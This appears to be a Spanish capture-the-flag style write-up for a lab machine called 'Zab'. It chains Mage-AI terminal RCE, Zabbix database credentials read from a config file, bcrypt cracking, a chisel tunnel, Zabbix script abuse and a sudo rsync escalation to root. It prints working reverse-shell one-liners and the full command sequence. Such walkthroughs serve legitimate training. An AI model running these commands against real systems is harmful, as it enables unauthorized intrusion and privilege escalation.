Zab
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Mage-AI en el 6789 con una terminal nativa que ejecuta comandos comowww-data, credenciales de Zabbix en/etc/zabbix/web/zabbix.conf.php, bcrypt del admin roto con rockyou, panel Zabbix en modo mantenimiento salvo desdelocalhost(alcanzado pivotando conchisel), abuso de los scripts de Zabbix (el scriptDetect operating systemcorre en el servidor comozabbix; editamos su comando por una reverse) para saltar azabbix, ysudo rsynccomo vector final a root vía GTFOBins.
Reconocimiento
Escaneo inicial
El escaneo de puertos completo abre tres puertos, dos de ellos HTTP:
ping -c 1 192.168.126.210 # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.126.210PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6789/tcp open httpnmap -p22,80,6789 -sCV 192.168.126.210PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http Apache httpd 2.4.52 (default page)
6789/tcp open http Tornado httpd 6.3.3HTTP - TCP 80
La raíz del 80 es la página por defecto de Apache sobre Ubuntu, pero probando rutas conocidas, /zabbix/index.php responde con un aviso: "Zabbix is under maintenance". Zabbix trae un modo de mantenimiento que se filtra por lista de IPs: a las direcciones no autorizadas les muestra ese cartel y esconde el login. Ese detalle será clave más adelante (por eso habrá que pivotar para presentarse como localhost).

HTTP - TCP 6789 (Mage-AI)
El 6789 sirve Mage-AI (Tornado), un IDE web para pipelines de datos. El dashboard confirma la versión v0.9.75 y, más importante, Mage-AI incluye por diseño una terminal interactiva en /terminal. Sin autenticación por delante, es RCE puro y duro.

Shell como www-data
Mage-AI - RCE por terminal nativa
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 4444Navegar a /terminal en el panel abre un shell directo en el servidor. Basta con lanzar una reverse:
busybox nc 192.168.45.201 4444 -e bash
www-data@zab:~/html$ cat local.txt
788e683a708d4360281ea8a11bc14af1
Shell como zabbix (user pivoting)
Credenciales MySQL en zabbix.conf.php
El nombre del host (zab) y el 80 con Apache sugieren que hay algo de Zabbix aunque no responda en la raíz. Se busca la instalación:
find / -name zabbix 2>/dev/null
cd /etc/zabbix/web
cat zabbix.conf.php | grep -i pass -B 3
mysql -u zabbix -pbreadandbuttereater121
www-data@zab:/etc/zabbix/web$ cat zabbix.conf.php | grep -i pass -B 3
$DB['PORT'] = '0';
$DB['DATABASE'] = 'zabbix';
$DB['USER'] = 'zabbix';
$DB['PASSWORD'] = 'breadandbuttereater121';
www-data@zab:/etc/zabbix/web$ mysql -u zabbix -pbreadandbuttereater121
Welcome to the MySQL monitor. Commands end with ; or \g.
Server version: 8.0.41-0ubuntu0.22.04.1 (Ubuntu)El fichero web de Zabbix guarda las credenciales de conexión a la base en claro. Con ellas se entra en MySQL y se extrae la tabla users con los hashes de los administradores del panel Zabbix.

mysql> select * from users;
| userid | username | ... | passwd
| 1 | Admin | ... | $2y$10$KA6iPN5sY5.Z4KLerN7XOOO1P7jR8MD2e0SqNRXOsJjV1b.8c5Si.
| 2 | guest | ... | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06
2 rows in set (0.00 sec)La tabla users de la base zabbix guarda el hash bcrypt de Admin ($2y$10$KA6iPN5sY5...).
Crackeo del bcrypt
El prefijo $2y$ identifica un bcrypt, un algoritmo lento por diseño, así que lo crackeamos por diccionario y se deja correr:
john --wordlist=/usr/share/wordlists/rockyou.txt hash
dinosaur (Admin)Zabbix en mantenimiento salvo desde localhost - chisel
Con curl desde la propia máquina se confirma la sospecha del recon: por localhost, /zabbix/ NO da el cartel de mantenimiento, sino el formulario de login del panel. El modo mantenimiento de Zabbix está filtrado por IP y 127.0.0.1 está en la lista permitida.
curl localhost/zabbix/ | grep -i login --color
www-data@zab:/etc/zabbix/web$ curl localhost/zabbix/ | grep -i login --color
...<div class="signin-container">...<label for="password">Password</label>
<input type="password" id="password" name="password" ...>...autologin...Para presentarnos como localhost desde el navegador del atacante montamos un port forward con chisel. Se sube el binario al objetivo (servidor HTTP en el atacante, wget en la víctima):
# atacante
python3 -m http.server 80
# víctima
wget http://192.168.45.201/chisel
chmod +x chisel
$ locate chisel | head -n 2
/home/krmena/Downloads/chisel_1.11.3_linux_amd64.gz
/home/krmena/tools/chisel
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.126.210 - - [08/Mar/2026 02:10:07] "GET /chisel HTTP/1.1" 200 -
www-data@zab:/tmp$ wget http://192.168.45.201/chisel
--2026-03-08 02:10:05-- http://192.168.45.201/chisel
Connecting to 192.168.45.201:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 8077312 (7.7M) [application/octet-stream]
Saving to: 'chisel.1'
2026-03-08 02:10:34 (277 KB/s) - 'chisel.1' saved [8077312/8077312]
www-data@zab:/tmp$ chmod +x chiselEn el atacante se abre un servidor chisel en modo reverse y desde el objetivo un cliente con R:80 (todo el HTTP local del target se expone en el 80 del atacante):
# atacante
chisel server --reverse -p 1234
# víctima
./chisel client 192.168.45.201:1234 R:80
2026/03/08 02:12:38 server: Reverse tunnelling enabled
2026/03/08 02:12:38 server: Fingerprint WO3BbJZbq777Qg4phecwEEwDD4Mhmk0JoMdpA1p0TEo=
2026/03/08 02:12:38 server: Listening on http://0.0.0.0:1234
2026/03/08 02:12:52 server: session#1: tun: proxy#R:80=>80: ListeningEl túnel queda activo: el R:80 del cliente expone el HTTP local del target en el 80 del atacante. Con eso, http://localhost/zabbix/index.php en el atacante pega directo al panel local del target, donde entramos con Admin / dinosaur.

RCE por scripts de Zabbix - shell como zabbix
Como Admin tenemos el rol de superadministrador. En Alerts → Scripts Zabbix permite definir scripts de tipo Script que se ejecutan en el propio servidor Zabbix (opción "Execute on: Zabbix server/proxy") como el usuario del sistema que corre el demonio, es decir zabbix. Existe uno preexistente, "Detect operating system", cuyo comando es:
sudo /usr/bin/nmap -O {HOST.CONN}
Ese script tiene, de hecho, dos abusos posibles. El primero es una inyección clásica: la macro {HOST.CONN} es la dirección del host contra el que se lanza, controlada por nosotros al crear un host, así que un nombre con metacaracteres inyectaría comandos en el sudo nmap. El segundo, más directo, es que como Admin podemos editar el propio cuerpo del script: cambiamos el comando por una reverse shell y la ejecutamos tal cual.
Levantamos primero el listener. Con Penelope reutilizamos la sesión de www-data y añadimos un listener en el 5555:
penelope
# (Penelope)> listeners add -p 5555
www-data@zab:/tmp$ ./chisel client 192.168.45.201:1234 R:80
2026/03/08 02:12:50 client: Connecting to ws://192.168.45.201:1234
2026/03/08 02:12:50 client: Connected (Latency 31.059236ms)
[!] Session detached
(Penelope)-(Session [1])> listeners add -p 5555
[+] Listening for reverse shells on 0.0.0.0:5555 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.201Editamos el comando del script "Detect operating system" y lo sustituimos por la reverse (sin sudo, para que corra como zabbix), y pulsamos Update:
busybox nc 192.168.45.201 5555 -e bash
El script es de tipo "Manual host action", así que se dispara desde Monitoring → Latest data, sobre cualquier host monitorizado:

En el menú contextual del host, Scripts → Detect operating system lanza el comando en el servidor:

La reverse cae en Penelope como usuario zabbix:

(Penelope)─(Session [1])> listeners add -p 5555
[+] Got reverse shell from zab~192.168.126.210-Linux-x86_64 Assigned SessionID <2>
zabbix@zab:/$ whoami
zabbixEscalada de Privilegios
sudo rsync → root
sudo -l muestra que zabbix puede ejecutar rsync como root sin contraseña:
sudo -l
User zabbix may run the following commands on zab:
(ALL : ALL) NOPASSWD: /usr/bin/rsyncrsync está en GTFOBins: la opción -e acepta un shell arbitrario para el "remote", así que con un pseudo-destino y un sh -c que redirige stdin/stdout al mismo tty se obtiene una shell interactiva.

sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# id -> uid=0(root)
zabbix@zab:/$ sudo rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x
# whoami
rootEl pseudo-destino dispara el -e y caemos en una shell interactiva como root.
Proof.txt
# cat /root/proof.txt
fd745a6191ad97b6a85067cdfd7e51ff
Cadena de ataque
Mage-AI :6789 /terminal
└─ busybox nc → shell www-data
└─ /etc/zabbix/web/zabbix.conf.php → mysql zabbix / breadandbuttereater121
└─ tabla users -> bcrypt Admin
└─ john rockyou -> dinosaur
└─ Zabbix en mantenimiento salvo localhost -> chisel reverse R:80
└─ Admin / dinosaur -> Alerts > Scripts "Detect operating system"
└─ editar Commands = busybox nc ... -e bash -> Latest data -> run -> shell zabbix
└─ sudo -l -> rsync -> sudo rsync -e /bin/sh ... -> rootLecciones aprendidas
- Un IDE con "terminal nativa" es RCE por diseño; hay que tratarlo como una superficie de administración, no como un editor.
- Configuraciones de aplicaciones web con
mysql_passen claro (zabbix.conf.php,wp-config.php,configuration.php) siguen siendo la mina más rentable en post-explotación. - Un servicio "escondido" en localhost es un puerto expuesto en cuanto haya RCE en cualquier proceso local; el port forwarding con
chisel(ossh -L) es literalmente el equivalente al fallo. - En Zabbix, los scripts de tipo
Scriptque se ejecutan "en el servidor" corren comandos arbitrarios como el usuario del demonio: unAdminpuede editar su cuerpo y convertirlos en RCE directa. Además, cualquier macro ({HOST.CONN},{HOSTNAME},{$USER_MACRO}) controlada por el usuario y concatenada en el comando es una inyección en potencia. sudo -les siempre el primer paso tras conseguir un usuario. Con binarios de GTFOBins (rsync,find,awk,less), la escalada es casi mecánica.